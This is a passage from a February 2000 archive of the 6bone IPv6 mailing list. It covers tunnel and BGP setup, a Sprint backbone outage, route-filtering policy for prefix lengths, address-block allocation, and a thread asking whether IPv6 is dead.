friday 16h00 EST (GMT -5:00 I think). 

 comments, support and suggestions are welcome at:
quake-v6@viagenie.qc.ca

Marc Blanchet, for the team.

From 6bone-owner  Tue Feb  1 08:51:43 2000
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Date: Tue, 01 Feb 2000 08:51:38 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new DNS setup pages for 6bone Hookup info
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6bone Folk,

Yuji Sekiya of ISI has kindly updated the older Bertrand Buclin pages on 
DNS setup for the 6bone:

   <http://www.isi.edu/~sekiya/IPv6/DNS.html>

So take a look and send him any comments you might have.

This writeup will be maintained by Yuji, and is now linked into the 6bone 
hookup page:

   <http://www.6bone.net/6bone_hookup.html>


Thanks (and a special thanks to Yujo for this work!),

Bob


From 6bone-owner  Tue Feb  1 13:39:33 2000
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From: "Robert J. Rockell" <rrockell@sprint.net>
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Subject: router outage
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Sprint's IPv6 machines will experience an outage for some period of the day
on 2/7/00.  This is for a power and topology cut over for our major backbone
ipv6 boxes.  Transit and non-transit connectivity through Sprint's 6bone
presence will be down for some to most of the day on February 7, starting
around Noon (1200) EDT.

We apologize for the inconvenience this may cause.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?


From 6bone-owner  Mon Feb  7 05:48:55 2000
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Date: Sun, 06 Feb 2000 09:57:57 -0600
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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To: 6bone@ISI.EDU
Subject: Re: prefix lengths [was Re: stla registry db issue]
References: <002f01bf694a$39593ff0$4701a8c0@wilson.staff.apnic.net>
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Paul Wilson wrote:
...
> Finally, on the question of advertising prefix lengths longer than /29, it
> is in fact the proposal of the RIRs that the prefixes announced by any
> organisation will correspond only to their allocation (anywhere from /16 to
> /35), and not to their reservation (which would be either /16 or /29). The
> justification behind this (as discussed with the IAB in Minneapolis last
> year) is that in a future scenario where many TLA and subTLA blocks were
> released and allocated, and where routing table expansion again becomes a
> concern, it is necessary for ISPs to have an objective means available for
> limiting the size of their routing tables, and the best such means available
> is to filter on prefix length.

I have a fundamental conceptual problem with what you are saying,
so we must have miscommunicated in Minneapolis on this. The original
idea was very clear: only TLAs would be visible in the default free routing table,
i.e. the default free table would be strictly filtered at /16 and thus hard
limited to 8192, or maybe 16384 if we had to open up a second set of TLAs.

Then we added one set of subTLAs, which actually gives a hard limit of
8191 TLAs and 8192 sub-TLAs, i.e. 16383, and the default free table contains
prefixes of /16 and /29. It's quite irrelevant if some of the /29s are announced
as longer than /29 as you suggest: there will never be more than 8192 of them
(unless for some reason we get in a situation where 8191 TLAs and 8192 subTLAs
are not enough, but this is unlikely).

(BTW, in actuality there can only ever be 8190 TLA routes, since the TLA allocated
to 6to4 address space will never be in the default free table. But that's a detail).

As far as route filtering is concerned there is no difference between a /29
and a /35; they both aggregate exactly the same, because we have agreed that
there will never be holes in a /29. 

> The alternative is a huge routing table populated with /16 and /29 prefixes
> only, where no objective means for route filtering is available, and where
> bilateral routing agreements would emerge as the only way for an ISP to
> control its tables.

It wouldn't be huge at all; it should never exceed 16382 in fact. There certainly
will be bilats for longer prefixes, all the way out to /48. We can't do anything 
about that, but we can place a strict limit on the default free table.

   Brian



From 6bone-owner  Tue Feb  8 21:19:30 2000
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Date: Wed, 09 Feb 2000 13:20:16 +0800
From: Tai Fang Ming(=?iso-8859-1?Q?=C0=B9=AA=DA=BB=CA?=) 
	<fred@ms.chttl.com.tw>
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To: 6Bone <6bone@ISI.EDU>
Subject: Build a tunnel between telebit router and zebra routing daemon
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Does anybody have a successful experience to build a tunnel between
Telebit router and zebra routing daemon?
We use Telebit router to build tunnel with zebra routing daemon.
The tunnel seems connected (we use ping ,traceroute debugging tool
can ping IPv4 , IPv6 the end point of  tunnel  ),but BGP4+(rfc2283)
routing protocol can not work correctly?

--
Chunghwa Telecom Co., Ltd.
Telecommunication Laboratorles Switching Technology Lab.
Tai,Fang Ming
TEL:+886 3 424-5068
FAX:+886 3 424-4888
E-mail:fred@ms.chttl.com.tw



From 6bone-owner  Wed Feb  9 03:57:41 2000
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Date: Wed, 9 Feb 2000 06:56:25 -0500 (EST)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Tai Fang Ming <fred@ms.chttl.com.tw>
cc: 6Bone <6bone@ISI.EDU>
Subject: Re: Build a tunnel between telebit router and zebra routing daemon
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On Wed, 9 Feb 2000, Tai Fang Ming wrote:

> Does anybody have a successful experience to build a tunnel between
> Telebit router and zebra routing daemon?
> We use Telebit router to build tunnel with zebra routing daemon.
> The tunnel seems connected (we use ping ,traceroute debugging tool
> can ping IPv4 , IPv6 the end point of  tunnel  ),but BGP4+(rfc2283)
> routing protocol can not work correctly?

You may want to email the zebra folks about this as well.....

> 
> --
> Chunghwa Telecom Co., Ltd.
> Telecommunication Laboratorles Switching Technology Lab.
> Tai,Fang Ming
> TEL:+886 3 424-5068
> FAX:+886 3 424-4888
> E-mail:fred@ms.chttl.com.tw
> 
> 



wfms


From 6bone-owner  Wed Feb  9 07:20:37 2000
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Date: Wed, 09 Feb 2000 16:20:04 MET
From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: fred@ms.chttl.com.tw
CC: 6bone@ISI.EDU, woeber@cc.univie.ac.at
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Subject: Re: Build a tunnel between telebit router and zebra routing daemon
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=> We use Telebit router to build tunnel with zebra routing daemon.
=> The tunnel seems connected (we use ping ,traceroute debugging tool
=> can ping IPv4 , IPv6 the end point of  tunnel  ),but BGP4+(rfc2283)
=> routing protocol can not work correctly?
=
=You may want to email the zebra folks about this as well.....

  ...and you may want to add a few more technical details about 
  your environment, like software versions, link type(s), and the like 
  and what the symptoms of "can not work correctly" are.
  
  While we were testing interoperability for BGP4+ and RIPng "recently"
  (both router- and host-based), we ran into a few hickups with getting
  telebit, cisco and MRTd to talk to each other.  Some of the problems
  were related to particular interface types (like BGP4+ was ok on
  Ethernet but did not work over ATM).
  All of those problems were properly resolved.
  
  -WW
 --------------------------------------------------------------------------
  Wilfried Woeber                :  e-mail: Woeber@CC.UniVie.ac.at
  Computer Center - ACOnet       :  Tel: +43 1 4277 - 140 33
  Vienna University              :  Fax: +43 1 4277 - 9 140
  Universitaetsstrasse 7         :  RIPE-DB Handle: WW144
  A-1010 Vienna, Austria, Europe :  PGP public key ID 0xF0ACB369
 __________________________________________________________________________

From 6bone-owner  Wed Feb  9 10:48:04 2000
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Message-ID: <38A1A76E.6011BF7A@vianova.at>
Date: Wed, 09 Feb 2000 18:44:14 +0100
From: Rene Mayrhofer <rene.mayrhofer@vianova.at>
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Hi all

I am setting up a local home network for IPv6 at the moment and I want
to join the 6bone. One problem is that I only get dynamic IPv4 addresses
from my ISP. Is anybody willing to provide me with a setup like the one
described in
http://www.bieringer.de/linux/IPv6/sitctrl/default.html ?

The network is in Steyr, Austria and has an IPv4 connection to AOnline
(the Austrian telekom).

I want to join the 6bone because I am working on a Debian-Linux based
distribution that works as a professional firewall (3 companies are
already using test-versions of it for production purposes). The
firewalls should be able to handle IPv6 because they are also acting as
routers for most companies. Therefore I want to play with IPv6 routing /
firewalling as soon as possible.

If somebody could provide me with a tunnel to my dynamic PPP address,
please contact me. I am experienced with IPv4 setups (configuring
routers / firewalls .... :) ), but this is my first IPv6 setup.

Thanks in advance,
Rene


From 6bone-owner  Wed Feb  9 16:18:41 2000
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From: "Paul Wilson" <pwilson@apnic.net>
To: <6bone@ISI.EDU>
Subject: ICANN ASO: website and mailing lists
Date: Thu, 10 Feb 2000 10:15:22 +1000
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(with apologies for duplicates)

Reminder: ICANN ASO - Website and Discussion Lists

This is an announcement to all parties with interests in management of
Internet Address space and related resources.


The Address Supporting Organisation of ICANN (the Internet Corporation for
Assigned Names and Numbers) was established last year, and has assumed its
responsibilities under the ICANN Bylaws for coordination of global policy
development in relation to Internet Addresses and related resources. The
nine-member Address Council has also been established, in accordance with
the ASO MoU and ICANN Bylaws.

Since its establishment, the ASO has established mailing lists and a website
to ensure that its processes are open and transparent, and accessible to all
parties with an interest in Internet resource management issues.

Three ASO mailing lists are now available for public access to ASO
information, and for input into the ASO process:

    aso-announce - for announcements and other information
                     relating to the ASO (read only list)
    aso-policy   - for open discussion on policy and other
                     ASO matters (open subscription list)
    aso-comment  - for comment and input of any kind (no
                     subscription necessary)

The ASO website is also now available, at http://www.aso.icann.org, and
carries information relating to the ASO, Address Council, and policy matters
which may be under consideration; as well as complete archives of the above
mailing lists.

At this time the Address Council is seeking participants in the ASO process,
and encourages all interested parties to subscribe to the mailing lists
above.  For information on how to subscribe, please visit the ASO website.


We look forward to your participation!


Paul Wilson
for the ASO Address Council.


______________________________________________________________________
Paul Wilson, Director-General, APNIC               <pwilson@apnic.net>
http://www.apnic.net                          ph/fx +61 7 3367 0490/82
----------------------------------------------------------------------
See you at APRICOT 2000!  28 Feb - 2 Mar  http://www.apricot2000.ne.kr
----------------------------------------------------------------------



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Message-Id: <38A302AB.48F5B069@ensi.rnu.tn>
Date: Thu, 10 Feb 2000 19:25:47 +0100
From: Mounir Eddabbabi <Mounir.Eddabbabi@ensi.rnu.tn>
Organization: ENSI
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Subject: Is IPv6 died ?
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Hi every one

I have just assisted in a conference of a technical leader in a company
of telecommunication (field of
investments: ATM) that IPv6 died !!! What must I answer it especially
that it has just said to me that all
the problems relating to addressing, the routing and the quality of
service are solved once for all. I would like to
know your contribution so that I can answer it in a collective way.

Best regards



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From 6bone-owner  Thu Feb 10 14:30:12 2000
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Mounir Eddabbabi wrote:
> 
> Hi every one
> 
> I have just assisted in a conference of a technical leader in a company of telecommunication (field of investments: ATM) that IPv6 died !!! What must I answer it especially that it has just said to me that all the problems relating to addressing, the routing and the quality of service are solved once for all. I would like to know your contribution so that I can answer it in a collective way.
> 

So that's why Microsoft, Cisco, etc. are all investing in IPv6
research?  I don't see anybody jumping up and screaming for ATM to the
desktop anymore, so if I had to make an observation, I'd say that ATM is
in a lot worse trouble in the local area network than IPv6 is in the
wide area network.

With the relaese of the IPv6 service pack for NT, I think we are poised
on the brink of a Nantucket Sleight Ride we haven't seen since Ahab.


From 6bone-owner  Thu Feb 10 14:30:58 2000
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Mounir Eddabbabi wrote:
> 
> Hi every one
> 
> I have just assisted in a conference of a technical leader in a company of telecommunication (field of investments: ATM) that IPv6 died !!! What must I answer it especially that it has just said to me that all the problems relating to addressing, the routing and the quality of service are solved once for all. I would like to know your contribution so that I can answer it in a collective way.
> 

So that's why Microsoft, Cisco, etc. are all investing in IPv6
research?  I don't see anybody jumping up and screaming for ATM to the
desktop anymore, so if I had to make an observation, I'd say that ATM is
in a lot worse trouble in the local area network than IPv6 is in the
wide area network.

With the relaese of the IPv6 service pack for NT, I think we are poised
on the brink of a Nantucket Sleight Ride we haven't seen since Ahab.


From 6bone-owner  Fri Feb 11 00:40:17 2000
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Date: Fri, 11 Feb 2000 16:41:04 +0800
From: Tai Fang Ming(=?iso-8859-1?Q?=C0=B9=AA=DA=BB=CA?=) 
	<fred@ms.chttl.com.tw>
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Dear IPv6 members.

I'm Fang-Ming Tai from CHT-TL, Taiwan.

We got 2001:238::/35 sTLA block from APNIC.
We are planning to assign the IPv6 addresses to Chungwa Telecom Co.,
Ltd. and
research units in Taiwan.
Thanks.


--
Chunghwa Telecom Co., Ltd.
Telecommunication Laboratorles Switching Technology Lab.
Tai,Fang Ming
TEL:+886 3 424-5068
FAX:+886 3 424-4888
E-mail:fred@ms.chttl.com.tw



From 6bone-owner  Fri Feb 11 05:24:15 2000
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From: "Robert J. Rockell" <rrockell@sprint.net>
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Due to some extended power outages, and myself being away an unable to watch
people perform the maintenance until returning last night, Sprint had
expereinced a longer maintenance window that was desired.  Bother our IPv6
core, as well as our IPv4 path to most v6 customers/peers were down for the
last couple of days.  Apologies to all of my downstreams for the extended
outage.

Sprint is back online, and appears to have most of it's peerings back up and
operational at this time.

If you are on this list, coud you reset your bgp?

exceptions:
3FFE:2900:1::A                                    0 ebgp     direct
3FFE:2300::FFFF:15                                0 ebgp     direct
3FFE:1D00:101:FF08::1                             0 ebgp     direct
3FFE:2900:A:C::2                                  0 ebgp     direct
3FFE:2900:B:6::2                                  0 ebgp     direct
3FFE:2900:B:C::2                                  0 ebgp     direct
3FFE:1280:1000:1::F842:1428                       0 ebgp     direct
3FFE:2900:C:7::2                                  0 ebgp     direct


EBGP peerings that are back up:

3FFE:C00:E:1::1                               65861 ebgp     direct
3FFE:2900:1::1E                               65861 ebgp     direct
3FFE:2900:1::26                               65861 ebgp     direct
3FFE:A00:2:2::9                               65861 ebgp     direct
3FFE:1100:0:CC07::1                           65861 ebgp     direct
3FFE:2900:1::16                               65861 ebgp     direct
3FFE:B00:C18::E                               65861 ebgp     direct
3FFE:2900:A:2::2                              65861 ebgp     direct
3FFE:2900:A:3::2                              65861 ebgp     direct
3FFE:2900:A:4::2                              65861 ebgp     direct
3FFE:900:0:1C::1                              65861 ebgp     direct
3FFE:2900:A:A::2                              65861 ebgp     direct
3FFE:2900:A:B::2                              65861 ebgp     direct
3FFE:2900:1::2D                               65861 ebgp     direct
3FFE:3600::3                                  65869 ebgp     direct
3FFE:2900:B:B::2                              65869 ebgp     direct
3FFE:3200:1:3::1                              65869 ebgp     direct
3FFE:8000:FFFF:29::1                          65869 ebgp     direct
3FFE:2900:B:2::2                              65869 ebgp     direct
3FFE:2900:B:E::2                              65869 ebgp     direct
3FFE:2900:B:F::2                              65869 ebgp     direct
3FFE:28FF:FFFF:1::114                         65869 ebgp     direct
3FFE:2900:C:5::2                              65869 ebgp     direct
3FFE:2900:C:5::2                              65869 ebgp     direct
3FFE:2D00:1::F                                65869 ebgp     direct
3FFE:2900:A:5::2                              65869 ebgp     direct
3FFE:2900:C:8::2                              65869 ebgp     direct
3FFE:2900:C:F::2                              65869 ebgp     direct


from core.


Thanks again for the patience during this <ugly> outage.




Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?


From 6bone-owner  Fri Feb 11 05:31:50 2000
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Date: Fri, 11 Feb 2000 08:31:03 -0500
To: Mounir Eddabbabi <Mounir.Eddabbabi@ensi.rnu.tn>
From: Edward Lewis <lewis@tislabs.com>
Subject: Re: Is IPv6 died ?
Cc: 6bone@ISI.EDU
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Be wary of anyone claiming that a technology is dead.  People sometimes
make these claims because they have a financial stake in a competitor to
the "dead" technology.  As a rule of thumb, the telecommunications industry
and the networking industry are competing interests, they will likely
disagree on the health of a technology.

IPv6 seems to be picking up momentum, in my estimation.  FreeSWAN, KAME,
et. al., efforts to get BIND 9 done are showing progress.

At 1:25 PM -0500 2/10/00, Mounir Eddabbabi wrote:

>I have just assisted in a conference of a technical leader in a company
>of telecommunication (field of investments: ATM) that IPv6 died !!!

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis                                                NAI Labs
Phone: +1 443-259-2352                      Email: lewis@tislabs.com

"Trying is the first step to failure." - Homer Simpson
"No! Try not. Do... or do not. There is no try." - Yoda
"It takes years of training to know when to do nothing" - Dogbert 1/21/00

Opinions expressed are property of my evil twin, not my employer.



From 6bone-owner  Fri Feb 11 05:35:17 2000
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Date: Fri, 11 Feb 2000 14:34:09 +0100 (MET)
From: Rob Goode <goode@nc3a.nato.int>
Reply-To: Rob Goode <goode@nc3a.nato.int>
Subject: Re: Is IPv6 died ?
To: burgess@mitre.org
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Dear David,

On 10 Feb 2000 16:27:58 -0600 David Burgess <burgess@mitre.org> wrote

> 
> With the relaese of the IPv6 service pack for NT, I think we are poised
> on the brink of a Nantucket Sleight Ride we haven't seen since Ahab.
> 

Is this a reference to MSRIPv6? If not could you provide a URL for
the Service Pack please?

Cheers,

Rob Goode


From 6bone-owner  Fri Feb 11 07:48:14 2000
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Date: Fri, 11 Feb 2000 10:48:03 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Rob Goode <goode@nc3a.nato.int>
Cc: burgess@mitre.org, 6bone@ISI.EDU
Subject: Re: Is IPv6 died ?
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On Fri, Feb 11, 2000 at 02:34:09PM +0100, Rob Goode wrote:
> Dear David,

> On 10 Feb 2000 16:27:58 -0600 David Burgess <burgess@mitre.org> wrote

> > With the relaese of the IPv6 service pack for NT, I think we are poised
> > on the brink of a Nantucket Sleight Ride we haven't seen since Ahab.


> Is this a reference to MSRIPv6? If not could you provide a URL for
> the Service Pack please?

	Is Windows 2000 a service pack?  It's suppose to be integrated into
Windows 2000.

	It's also available as an add-on to NT 4.0 (I don't know the URL -
I've just heard it talked about).  It's not in a "service pack".

> Cheers,

> Rob Goode

-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!


From 6bone-owner  Fri Feb 11 08:36:18 2000
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Date: Fri, 11 Feb 2000 17:35:22 +0100 (MET)
From: Rob Goode <goode@nc3a.nato.int>
Reply-To: Rob Goode <goode@nc3a.nato.int>
Subject: Re: Is IPv6 died ?
To: mhw@wittsend.com
Cc: burgess@mitre.org, 6bone@ISI.EDU
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I'm curious,

> 
> 	Is Windows 2000 a service pack?  It's suppose to be integrated into
> Windows 2000.
> 
would anyone care to catagorically confirm that IPv6 is included in
Microsoft Windows 2000, due for worldwide release on February 17th?

My understanding was that Microsoft do not have a productised version
of IPv6, just a research release (MSRIPv6). Happy to find out I'm wrong.

Cheers,

Rob Goode
 


From 6bone-owner  Fri Feb 11 10:21:54 2000
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From: Richard Draves <richdr@microsoft.com>
To: "'Rob Goode'" <goode@nc3a.nato.int>, mhw@wittsend.com
Cc: burgess@mitre.org, 6bone@ISI.EDU
Subject: RE: Is IPv6 died ?
Date: Fri, 11 Feb 2000 09:22:24 -0800
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Windows 2000 does not include IPv6.

The Windows Networking product group is working actively on IPv6.

Microsoft Research has an IPv6 release that runs on NT 4 and Windows 2000.

Rich

> -----Original Message-----
> From: Rob Goode [mailto:goode@nc3a.nato.int]
> Sent: Friday, February 11, 2000 8:35 AM
> To: mhw@wittsend.com
> Cc: burgess@mitre.org; 6bone@ISI.EDU
> Subject: Re: Is IPv6 died ?
> 
> 
> I'm curious,
> 
> > 
> > 	Is Windows 2000 a service pack?  It's suppose to be 
> integrated into
> > Windows 2000.
> > 
> would anyone care to catagorically confirm that IPv6 is included in
> Microsoft Windows 2000, due for worldwide release on February 17th?
> 
> My understanding was that Microsoft do not have a productised version
> of IPv6, just a research release (MSRIPv6). Happy to find out 
> I'm wrong.
> 
> Cheers,
> 
> Rob Goode
>  
> 

From 6bone-owner  Fri Feb 11 10:28:18 2000
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Date: Fri, 11 Feb 2000 13:27:18 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Richard Draves <richdr@microsoft.com>
Cc: "'Rob Goode'" <goode@nc3a.nato.int>, mhw@wittsend.com, burgess@mitre.org,
        6bone@ISI.EDU
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On Fri, Feb 11, 2000 at 09:22:24AM -0800, Richard Draves wrote:
> Windows 2000 does not include IPv6.

	Ooopppsss...  My bad.  I'm reviewing some white papers,
pre-publication, and misinterpreted a section on RFC's and IPSec
that I thought implied that IPv6 was bundled as well.  Rereading
that section, I realize that was a faulty conclusion on my part.

> The Windows Networking product group is working actively on IPv6.

> Microsoft Research has an IPv6 release that runs on NT 4 and Windows 2000.

> Rich

> > -----Original Message-----
> > From: Rob Goode [mailto:goode@nc3a.nato.int]
> > Sent: Friday, February 11, 2000 8:35 AM
> > To: mhw@wittsend.com
> > Cc: burgess@mitre.org; 6bone@ISI.EDU
> > Subject: Re: Is IPv6 died ?
> > 
> > 
> > I'm curious,
> > 
> > > 
> > > 	Is Windows 2000 a service pack?  It's suppose to be 
> > integrated into
> > > Windows 2000.
> > > 
> > would anyone care to catagorically confirm that IPv6 is included in
> > Microsoft Windows 2000, due for worldwide release on February 17th?
> > 
> > My understanding was that Microsoft do not have a productised version
> > of IPv6, just a research release (MSRIPv6). Happy to find out 
> > I'm wrong.
> > 
> > Cheers,
> > 
> > Rob Goode

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!


From 6bone-owner  Sun Feb 13 19:39:14 2000
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Date: Sun, 13 Feb 2000 22:39:09 -0500 (EST)
From: Jason <jslagle@toledolink.com>
To: 6bone@ISI.EDU
Subject: Tunnels...
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Is it acceptable for me to dish out tunnels as an end site, and if I do
this, should I document them with tunnel attributes.

Someday after I've been up for awhile I'd like to apply for a pTLA, but
I'm doing some testing and would like to dish out some tunnels.

Jason

---
Jason Slagle - CCNA - CCDA
Network Administrator - Toledo Internet Access - Toledo Ohio
- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172


From 6bone-owner  Mon Feb 14 08:12:41 2000
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Date: Mon, 14 Feb 2000 08:12:30 -0800
To: Jason <jslagle@toledolink.com>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: Tunnels...
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Jason,

At 10:39 PM 2/13/2000 -0500, Jason wrote:
>Is it acceptable for me to dish out tunnels as an end site, and if I do
>this, should I document them with tunnel attributes.

If you are a pNLA end-site (versue a transit) with a /48 then the only 
tunnels would be for parts of your own network, i.e., some other SLA ID.


>Someday after I've been up for awhile I'd like to apply for a pTLA, but
>I'm doing some testing and would like to dish out some tunnels.

Why don't you get whomever your pTLA is to give you a pNLA transit block 
(i.e., a shorter prefix than /48).


Bob


From 6bone-owner  Mon Feb 14 12:59:06 2000
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Date: Mon, 14 Feb 2000 15:57:13 -0500 (EST)
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On Mon, 14 Feb 2000, Bob Fink wrote:

> Jason,
> 
> At 10:39 PM 2/13/2000 -0500, Jason wrote:
> >Is it acceptable for me to dish out tunnels as an end site, and if I do
> >this, should I document them with tunnel attributes.
> 
> If you are a pNLA end-site (versue a transit) with a /48 then the only 
> tunnels would be for parts of your own network, i.e., some other SLA ID.

Since only my home is on the 6bone right now (as opposed to my work), I'm
not reall one to comment here but...

I don't agree, what about peering? Even end-sites can peer with other end
sites to exchange traffic among themselves. This is useful in the face of
v6-in-v4 tunnels causing very unoptimim paths between end-sites. This is
also useful when they are IPv4 peers in 'real life'/ 
 


From 6bone-owner  Mon Feb 14 13:11:32 2000
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Date: Mon, 14 Feb 2000 13:11:23 -0800
To: Greg Maxwell  <gmaxwell@Martin.FL.US>
From: Bob Fink <fink@es.net>
Subject: Re: Tunnels...
Cc: Jason <jslagle@toledolink.com>, 6bone@ISI.EDU
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At 03:57 PM 2/14/2000 -0500, Greg Maxwell wrote:
>On Mon, 14 Feb 2000, Bob Fink wrote:
>
> > Jason,
> >
> > At 10:39 PM 2/13/2000 -0500, Jason wrote:
> > >Is it acceptable for me to dish out tunnels as an end site, and if I do
> > >this, should I document them with tunnel attributes.
> >
> > If you are a pNLA end-site (versue a transit) with a /48 then the only
> > tunnels would be for parts of your own network, i.e., some other SLA ID.
>
>Since only my home is on the 6bone right now (as opposed to my work), I'm
>not reall one to comment here but...
>
>I don't agree, what about peering? Even end-sites can peer with other end
>sites to exchange traffic among themselves. This is useful in the face of
>v6-in-v4 tunnels causing very unoptimim paths between end-sites. This is
>also useful when they are IPv4 peers in 'real life'/


I agree with you. I was assuming the other use for delegation as he said 
dish out, not peer.

Bob


From 6bone-owner  Mon Feb 14 13:14:05 2000
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Date: Mon, 14 Feb 2000 16:13:49 -0500 (EST)
From: Jason <jslagle@toledolink.com>
To: Bob Fink <fink@es.net>
cc: Greg Maxwell <gmaxwell@Martin.FL.US>, 6bone@ISI.EDU
Subject: Re: Tunnels...
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Correct, I am planning on (Actually I am), dishing 2 tunnels out to other
sites.

I emailed Merit and asked for a transit pLNA so we'll see.

Jason

---
Jason Slagle - CCNA - CCDA
Network Administrator - Toledo Internet Access - Toledo Ohio
- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172

On Mon, 14 Feb 2000, Bob Fink wrote:

> At 03:57 PM 2/14/2000 -0500, Greg Maxwell wrote:
> >On Mon, 14 Feb 2000, Bob Fink wrote:
> >
> > > Jason,
> > >
> > > At 10:39 PM 2/13/2000 -0500, Jason wrote:
> > > >Is it acceptable for me to dish out tunnels as an end site, and if I do
> > > >this, should I document them with tunnel attributes.
> > >
> > > If you are a pNLA end-site (versue a transit) with a /48 then the only
> > > tunnels would be for parts of your own network, i.e., some other SLA ID.
> >
> >Since only my home is on the 6bone right now (as opposed to my work), I'm
> >not reall one to comment here but...
> >
> >I don't agree, what about peering? Even end-sites can peer with other end
> >sites to exchange traffic among themselves. This is useful in the face of
> >v6-in-v4 tunnels causing very unoptimim paths between end-sites. This is
> >also useful when they are IPv4 peers in 'real life'/
> 
> 
> I agree with you. I was assuming the other use for delegation as he said 
> dish out, not peer.
> 
> Bob
> 


From 6bone-owner  Mon Feb 14 14:46:19 2000
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Date: Mon, 14 Feb 2000 17:46:17 -0500 (EST)
From: Jason <jslagle@toledolink.com>
To: 6bone@ISI.EDU
Subject: ipv6 mail test
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Could someome send a test message to raistlin@ipv6.tacorp.net - Testing
ipv6 mail support.

Jason

---
Jason Slagle - CCNA - CCDA
Network Administrator - Toledo Internet Access - Toledo Ohio
- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172


From 6bone-owner  Mon Feb 14 17:30:46 2000
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Date: Tue, 15 Feb 2000 14:29:39 +1300
From: Joe Abley <jabley@patho.gen.nz>
To: Greg Maxwell <gmaxwell@Martin.FL.US>
Cc: Bob Fink <fink@es.net>, Jason <jslagle@toledolink.com>, 6bone@ISI.EDU
Subject: Re: Tunnels...
Message-ID: <20000215142937.B10826@patho.gen.nz>
References: <4.2.2.20000214081007.018a4998@imap2.es.net> <Pine.GSO.3.96.1000214155425.28770D-100000@da1server>
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On Mon, Feb 14, 2000 at 03:57:13PM -0500, Greg Maxwell wrote:
> On Mon, 14 Feb 2000, Bob Fink wrote:
> > At 10:39 PM 2/13/2000 -0500, Jason wrote:
> > >Is it acceptable for me to dish out tunnels as an end site, and if I do
> > >this, should I document them with tunnel attributes.
> > 
> > If you are a pNLA end-site (versue a transit) with a /48 then the only 
> > tunnels would be for parts of your own network, i.e., some other SLA ID.
> 
> Since only my home is on the 6bone right now (as opposed to my work), I'm
> not reall one to comment here but...
> 
> I don't agree, what about peering? Even end-sites can peer with other end
> sites to exchange traffic among themselves. This is useful in the face of
> v6-in-v4 tunnels causing very unoptimim paths between end-sites. This is
> also useful when they are IPv4 peers in 'real life'/ 

This discussion sounds like it might be veering off towards questions
of multi-homing, in which case a recurring argument might well ensue
(speaking from experience :)

In case there's anybody new here who has niggling doubts about how
pure aggregation is going to work with widespread multi-homing of
"end site" networks, there have been many discussions on the topic
already, which you will find in the ipng and ngtrans IETF working
group archives. I'm not saying there are answers there, just that
there are arguments there which are worth not re-hashing.

[Note that I know the topic in question was peering, and peering
between end sites does not have the same implications. Just that
when you start peering, its only a matter of time before you someone
starts to talk about backup transit arrangements.]


Joe

From 6bone-owner  Mon Feb 14 19:39:01 2000
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From: "Michael W. Oliver" <oliver.michael@gargantuan.com>
To: "'Jason'" <jslagle@toledolink.com>, 6bone@ISI.EDU
Subject: RE: ipv6 mail test
Date: Mon, 14 Feb 2000 22:38:53 -0500
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Your message did not reach some or all of the intended recipients.

      Subject:	test message
      Sent:	2/14/2000 10:20 PM

The following recipient(s) could not be reached:

      'raistlin@ipv6.tacorp.net' on 2/14/2000 10:20 PM
            Unable to deliver the message due to a communications failure
	The MTS-ID of the original message is: c.........................etc
etc etc


Regards,

Michael W. Oliver
Gargantuan Inter-Intranet Solutions
mailto:oliver.michael@gargantuan.com
http://michael.gargantuan.com
Page me at mailto:1570482@skytel.com
******************************************************





-----Original Message-----
From: Jason [mailto:jslagle@toledolink.com]
Sent: Monday, February 14, 2000 5:46 PM
To: 6bone@ISI.EDU
Subject: ipv6 mail test


Could someome send a test message to raistlin@ipv6.tacorp.net - Testing
ipv6 mail support.

Jason

---
Jason Slagle - CCNA - CCDA
Network Administrator - Toledo Internet Access - Toledo Ohio
- raistlin@tacorp.net - jslagle@toledolink.com - WHOIS JS10172

From 6bone-owner  Fri Feb 18 00:35:39 2000
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We have got one subTLA block and 
if  I futher divide my subTLA as following:

             1/35   1/39   1/43   1/48
     ---------+------+-----+------+--------------
     | subTLA | NLA1 | RES | NLA2 |             |
     ---------+------+-----+------+-------------
I assign NLA2 to my directly connected customers. And I have confusion about how
to use RES bit for my NLA2.

There is one line in RFC2374 talking about how to use RES for NAL2:
To extend the NLA ID into the reserved field if additional room for complexity is needed.

When I have consumes all NLA2 for a given (subTLA, NLA1, RES=0) pair and now some of my
customer need more address from me, If I extend the NLA2 ID into the reserve 
field, the address for the customer seems not to be continuous. (The previous and the
new one I assinged) . With the condition, I would rather allocate another NLA1
to assign NLA2.

Can anybody tell me what's the above line means? 
(To extend the NLA ID into the reserved field if additional room for complexity is needed.)
 					Thanks


-- 
---------------------------------
      Yann-Ju Chu
    Telecommunication Laboratories
    ChungHwa Telecom Co., Ltd.
    TEL: +886 3 424-5681
    FAX: +886 3 424-4888
    http://www.chttl.com.tw
---------------------------------

From 6bone-owner  Fri Feb 18 11:34:38 2000
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Date: Fri, 18 Feb 2000 11:34:22 -0800
